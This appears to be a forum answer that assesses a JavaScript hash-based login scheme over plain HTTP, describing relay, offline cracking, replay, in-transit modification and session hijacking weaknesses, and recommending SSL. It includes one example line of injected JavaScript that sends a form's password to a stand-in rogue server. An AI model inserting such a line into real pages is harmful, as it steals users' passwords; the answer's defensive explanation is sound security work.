Whether it is "secure enough" is, of course, something only you can answer as the system owner. If your expected adversary is unskilled and unmotivated, and the impact of an authentication failure is low, then it is. If you are protecting anything of significant value, then it probably is not a sufficiently secure solution.
Here are a few attack vectors to which this approach would likely be vulnerable.
Man-in-the-middle attacks:
Client Eavesdropper Server
Requests token-------X----------------------->
<--------------------X-------------Sends token
Sends PW hash--------X
Relays client hash ------>
X<-----------Authenticates
An eavesdropper listens for the client's authentication response, and then relays it to the server. The server verifies its correctness and authenticates the eavesdropper.
Offline password hash attacks
An eavesdropper who can read messages between the client and server will have the token and the logic (from the JavaScript) used to generate the hash. Thus, the attacker will know H(token + H(password))
, token
, and H(x)
where H
is the cryptograph hash algorithm (SHA1).
The attacker can then run a dictionary attack against the client response to guess the password, where the attacker can attempt to crack the password offline using dictionary attacks and similar methods. Since the attacker does not need to authenticate against the server but can rather crack the password offline, moderate-weak passwords can be quickly cracked.
Modification of server messages in transit
The client has no assurance of the integrity of the server's messages, and the messages can potentially be modified in transit. For instance, a malicious intermediary can insert a line of JavaScript into the HTML page that intercepts the password through the DOM and sends it to a rogue server. (A rogue intermediary might, for example, insert new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value
into the form submit method.)
Replay attacks
If the server tokens repeat with sufficient frequency, an eavesdropper can capture a successful token/response pair. The attacker can then make a large number of token requests, waiting for a known token to be recycled. The attacker then replays the known token response to the server. The server compares the attacker's response against the expected response and authenticates the attacker.
Post-authentication attacks
After the session is authenticated, client and server messages continue to be sent in cleartext. The attacker might conduct a session hijacking attack, using the client's session cookie to pose as the authenticated client. The attacker might also intercept confidential data between the server and client, or change data in transit, compromising the confidentiality, integrity, and non-repudiation of the client/server communication. For instance, the client might send a response to perform BenignAction
, which the attacker changes in transit to GetSecretData
. The attacker then reads the response ostensibly containing secret data.
This is all to say that the proposed method may not be much more secure than sending the password in clear text. If security is a concern, using SSL with a certificate from a trusted CA would (for practical intents) effectively prevent all of these attacks.